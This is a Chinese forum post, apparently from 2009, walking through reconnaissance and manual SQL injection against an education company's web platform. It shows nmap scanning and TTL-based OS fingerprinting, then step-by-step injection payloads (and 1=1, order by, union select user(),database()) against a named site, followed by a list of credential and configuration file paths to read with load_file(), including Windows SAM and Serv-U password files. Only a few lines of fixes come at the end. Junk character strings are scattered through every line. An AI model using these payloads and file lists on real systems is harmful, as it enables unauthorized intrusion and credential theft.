题记:0 G+ _' Y2 ^+ }( ]4 P: o: O
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
: z! F5 o8 b8 B7 q- S第一步:获取需要的信息& E5 ]; C( t) h5 L& ? w. B
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
$ I# w% U4 j+ s注:以下为保护特用XXX代替敏感信息
5 u- F, B" T4 T- f4 o- [( l顺手先PING了一下他们的域名:
" s% w7 {: @) Q9 t) ~ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)( Z2 L% A) L a$ b
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
4 r0 z2 w# L. ?: e- w( ^# ?- m) R顺便了解一下TTL,学好基础知识才能一路顺风:: y. r8 P9 A" l- k; I
TTL:(Time To Live ) 生存时间
6 P) A9 m( c( n0 x, N! V指定数据包被路由器丢弃之前允许通过的网段数量。
# z6 [( F7 p aTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。, B( ?# Z0 S6 A
使用PING时涉及到的 ICMP 报文类型# w/ V+ C2 M% t: P! Y/ k# l
一个为ICMP请求回显(ICMP Echo Request), V& s; R2 ?5 w% _; z" ]
一个为ICMP回显应答(ICMP Echo Reply)& L9 c# e) z8 j5 r o/ r* U8 O" |' U
TTL 字段值可以帮助我们识别操作系统类型。9 c$ V5 M5 [8 a @8 k2 ]$ v
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
" W3 M- T/ v0 x. q- l/ A$ ]Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 640 I2 E; ]5 k+ D5 b" ?
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128& l6 _2 _ D. f) K/ `3 V7 l: g
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32( M; k( Y2 ]; [7 A- e- o m" {
当然,返回的TTL值是相同的
I% J) a+ q, c/ n但有些情况下有所特殊
9 n) T3 U) m8 z$ x( O1 K2 O2 U2 I% XLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64& L! Z- Z) V, F& P9 o
FreeBSD 4.1, 4.0, 3.4;
" g- T; k p6 ^3 K& }/ r5 |Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
. e; ~; P; J, c5 U: ?4 I( `OpenBSD 2.6, 2.7,/ x0 u& @1 k* `' ^: D j+ x( |4 }
NetBSD
5 j7 q4 h; @2 J8 s' S) \HP UX 10.20
A$ a1 g& J8 s; j0 U& t- z+ Y5 JICMP 回显应答的 TTL 字段值为 255
2 Y/ S0 [: ]1 X4 i, A. JWindows 95/98/98SE
* s8 ] r2 L" ]" N4 v4 gWindows ME
q2 |: L. m5 X1 s) N3 E, nICMP 回显应答的 TTL 字段值为 32
' p$ }1 M( ~) z4 E( G* gWindows NT4 WRKS1 P; w4 g6 `. l) z1 h3 h$ H
Windows NT4 Server
* l% a3 X: B: c) S: k, y! `& OWindows 2000+ Z6 r; T m7 ^0 a( t( [
Windows XP/ q `$ A* F4 S, M( a6 A
ICMP 回显应答的 TTL 字段值为 128; P \5 S7 u) x
这样,我们就可以通过这种方法来辨别操作系统% d. N. v/ P. g$ @4 F
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
0 D/ o. f) {1 X3 e" J用NMAP扫描一下:7 J6 y! U% E3 w
nmap -sT -O XXX.XXX.XXX.XXX
/ `: f1 M( v& \7 E6 l- Q7 d如果没有装WinPcap则会弹出提示:# T* l; b$ D* y( p$ h5 P
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
0 E% g$ T9 u, m3 q7 c% z! bade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
8 }2 G, D# J0 X; F5 a1 N% H) mode — Nmap may not function completely0 \$ X; A: I V/ k4 x4 p
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher* j; ?# X- @4 _) q* L
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win' D3 {- O- [2 z$ e5 a5 i2 B
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
0 k) c7 a7 m- u3 A8 zd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
, Q0 ~8 j9 N0 [: W4 `2 q: Yersions, you may be able to take iphlpapi.dll from another system and place it i# N' [) v9 H' c. m
n your system32 dir (e.g. c:\windows\system32).
! O6 O! N4 q- s* X/ q2 u8 c* ]QUITTING!
$ j/ ?$ c8 u% a' ^7 A/ o F到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
4 q4 P2 {& l) p7 b3 R I' P h安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:$ g: f* o: @+ a" |1 v
Interesting ports on XXX.XXX.XXX.XXX:
$ X S. G' K4 ]) o2 A( hNot shown: 986 closed ports
* f" e( i0 V5 p# N% H7 LPORT STATE SERVICE
/ |7 n8 |; b7 Q21/tcp open ftp& d3 @9 ^- }. n2 z
22/tcp open ssh
+ u7 f) g0 T6 N3 T0 B: [$ `- V2 b23/tcp open telnet
# q3 H' i! k1 y$ ? m2 g80/tcp open http( ?6 z% F" U* Q$ n& s$ j& j
111/tcp open rpcbind! I+ c: q* {# Z2 Z! Y+ f" I
135/tcp filtered msrpc
( b0 h% Y, d! o) o, {9 n139/tcp filtered netbios-ssn: z* y! v2 i8 \ G- D
445/tcp filtered microsoft-ds! p# D' _$ r& O- G
513/tcp open login0 T, D! i {, R8 E
514/tcp open shell6 g; b" g, |5 u$ |0 j
593/tcp filtered http-rpc-epmap
- v) ] Q, E7 B5 G+ L1720/tcp filtered H.323/Q.931
; U! d& m+ Q0 E3306/tcp open mysql2 H% C4 A1 N( f& }! i4 h2 N3 [
4444/tcp filtered krb524
" u" s+ `& \) c. O' Y3 r# GDevice type: WAP3 p; t9 x0 p- r4 T4 f
Running: Linux 2.4.X* Q6 F3 g0 V% v/ J! ^7 N7 ?0 H
OS details: DD-WRT (Linux 2.4.35s)( G+ |* A" p- @* _
Network Distance: 13 hops& M$ e) B6 W, w! f
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
) A+ g4 M/ _9 w3 b7 ulogin as:7 Z) ~) c& N0 x$ O* ?
Telnet23端口也是开着的,用telnet 命令链接一下:- I! I5 s0 g- K3 o' Q' D" C/ L
telnet XXX.XXX.XXX.XXX( v3 ?: H1 @6 R+ C4 d
提示:" ^/ ~+ b7 u/ R: n. [& W. ?$ Y
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
1 j- ~. }) j( gKernel 2.6.18-92.el5PAE on an i686
8 i ]) L1 I) P( Alogin:
3 @. W+ E' K: |3 ?获取HTTP头信息:$ C( X1 T4 d m- v, `9 h9 Z" f
在本地执行如下PHP代码
. A3 x. r( w' x# ~; P+ P, V<?php4 J" O9 ?# Z' _3 u, _8 K1 w
$url = ‘XXX.XXX.XXX.XXX’;
' s+ l9 M- z8 c+ i Y: L+ l) V) `print_r(get_headers($url));
. ~3 R/ Z( ]9 [. ^/ Y; G- x6 b; ]print_r(get_headers($url, 1));
. `) A6 L+ L2 P# N?>
, O# |6 ]' c- A+ q+ M9 C将以上代码保存为PHP文件,执行:8 A; q4 w1 _ }
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
/ d) `8 ?1 L6 u5 W [5 `7 Z# `现在可以得出结论:
2 @4 Z, w9 l; L3 }, e系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
% n& R3 z) t# S! R. ^内核版本:Kernel 2.6.18-92.el5PAE on an i686
0 \7 e `1 w- G# I8 ]( A% l VWEB服务器版本:nginx/0.7.61' [' y: C7 a! Z5 a% e
第二步,开始测试寻找漏洞) j) [2 t* ^3 V7 A; j
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
: v# v3 S; Z. ?2 u% n3 D1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的6 M) N. T$ G7 V0 U6 F2 ~
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
( ~: z+ x! n4 i- o0 L9 ehttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
. {. m% k& m9 n3 whttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
6 A1 N# T' j: D$ k恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续3 s% v5 X' r; x& @. E m! F
3、手工注入:6 ` B. e& b/ g5 L9 y* I1 Y
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
: v# N1 _( F5 ^2 O* c. |5 Q3.1 猜测当前表字段数
7 k7 A1 V+ j' X5 _) y+ ?6 ]http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
& g. h# H7 K9 E此处猜测有个简单的算法,都是有技巧的吗,呵呵
3 u/ i2 O0 b/ [( G算法简单如下:
) ?) r: j4 {4 u第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
+ T' `, X5 S1 |第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;: _0 n2 C- T' C7 l
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。& E- [& P! S( o# ^
以此来判断,是否过界,配合取中算法猜出字段数。) A- r2 f- {* L% q# c2 ^0 x
举例:0 g0 x) r# A) A) Z; ?4 J5 ^
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
& u3 V' r5 H) G$ Lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
* n' W8 @- C& K$ ]此时3则为我们要找的字段数。
: }! h5 s! r/ t3 j* X2 t# f3.2 配合union联合查询字段在页面所位置& D! r, z- h1 p6 ~6 Q
我们已经知道了字段数为3,此时则可以做如下操作:
" o, H, G0 T2 t T% P% L3 Ohttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
1 W) B6 U D+ Z/ Q$ Q4 t7 r; N2 A' L7 O2 Z* G- T' x
这样就可以测试到哪些字段在页面上有所显示了,如图:
: {4 ]9 w" J! Q+ f0 `! N
: k& e! @3 Z& i( G% r- h3.3 查敏感信息
9 |/ a8 g" Z7 @! a这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
1 S ~7 }2 L# _http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
; D" \/ L2 Q1 Z) B8 m' U3.3.1 先查数据库用户、数据库名,以备后用,如图:
9 C. U, j( ?" g9 q! r- K; x% D) R$ Q7 c
得到数据库用户为root、数据库名为DBxx;5 \5 M) d" f2 ]; P
3.3.2 查配置文件5 B, I \1 d5 `/ a# l
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
. K& j L. c T) z5 i1 P6 A/ }) Y查看文件有一定的条件限制:
5 F- k% M/ K0 q0 z# l欲读取文件必须在服务器上
7 J6 N0 t/ T6 J, P# I必须指定文件完整的路径
0 u. Z" p5 |2 \& Z. Y/ h7 {必须有权限读取并且文件必须完全可读" S' j5 r, @/ ?/ w
欲读取文件必须小于 max_allowed_packet
3 V, g" @% Q% i/ B4 J, K4 n5 z V xMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。0 ^3 `0 h0 [! i6 t
常用的一些:6 Z" W' J5 K9 L6 u# K- U. x
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
2 r8 U* D. h' I/ U0 X. t$ S& X3 N/usr/local/apache2/conf/httpd.conf; z. R5 h' w: S
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置6 p, V" [* a2 ~
/usr/local/app/php5/lib/php.ini //PHP相关设置( J0 v- s* E: V
/etc/sysconfig/iptables //从中得到防火墙规则策略
s, z9 R. \ S* I/etc/httpd/conf/httpd.conf // apache配置文件" o$ D) A( @" s4 }1 y. Z- B; D/ x& j
/etc/rsyncd.conf //同步程序配置文件
/ C( q' N; e) T4 W5 c/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.0 w7 x$ n- E. [
/etc/my.cnf //mysql的配置文件
/ T1 H, }2 ~8 g3 ~+ p/etc/redhat-release //系统版本
4 F5 V9 f9 a) p- T/etc/issue
8 E: T. Q" J; L7 |/etc/issue.net5 D( q. C0 k/ {1 y4 l3 |
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码2 t$ k: G1 x# o* r) k% S9 ^
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
9 S x. g) k2 a, dc:\Program Files\Serv-U\ServUDaemon.ini
" i; s- ~& j* e' K4 bc:\windows\my.ini //MYSQL配置文件( m) W& E7 c+ @3 V+ ` V
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
- m2 h- d" A% |" [- n8 D/ w1 ?5 ]' Q等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,* S5 K% J, V r3 @2 H- _1 P1 k
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
5 Q1 {0 J8 B9 zc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
0 P8 r1 `- l* Y5 v8 M: t' b6 I& @c:\Program Files\RhinoSoft.com\ServUDaemon.exe+ Y3 g5 U m8 [1 ?. s
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件, I& R9 V3 E: A2 d
//存储了pcAnywhere的登陆密码
' X+ T* @) Z3 i2 y' x由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
4 Q" _/ u& B8 M' v8 v( O这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。6 r% J4 s0 }! u* Q- s2 i+ f
最后:防范措施
/ Z5 T) a- H$ C# H. M8 y9 w1、修复PHP注入漏洞;
# |. _1 s* y3 }: t; {8 w" f2、Mysql使用普通权限的用户;
% O0 `9 v. g* M* x; P0 r& U5 \/ _3、升级linux内核至最新版本; |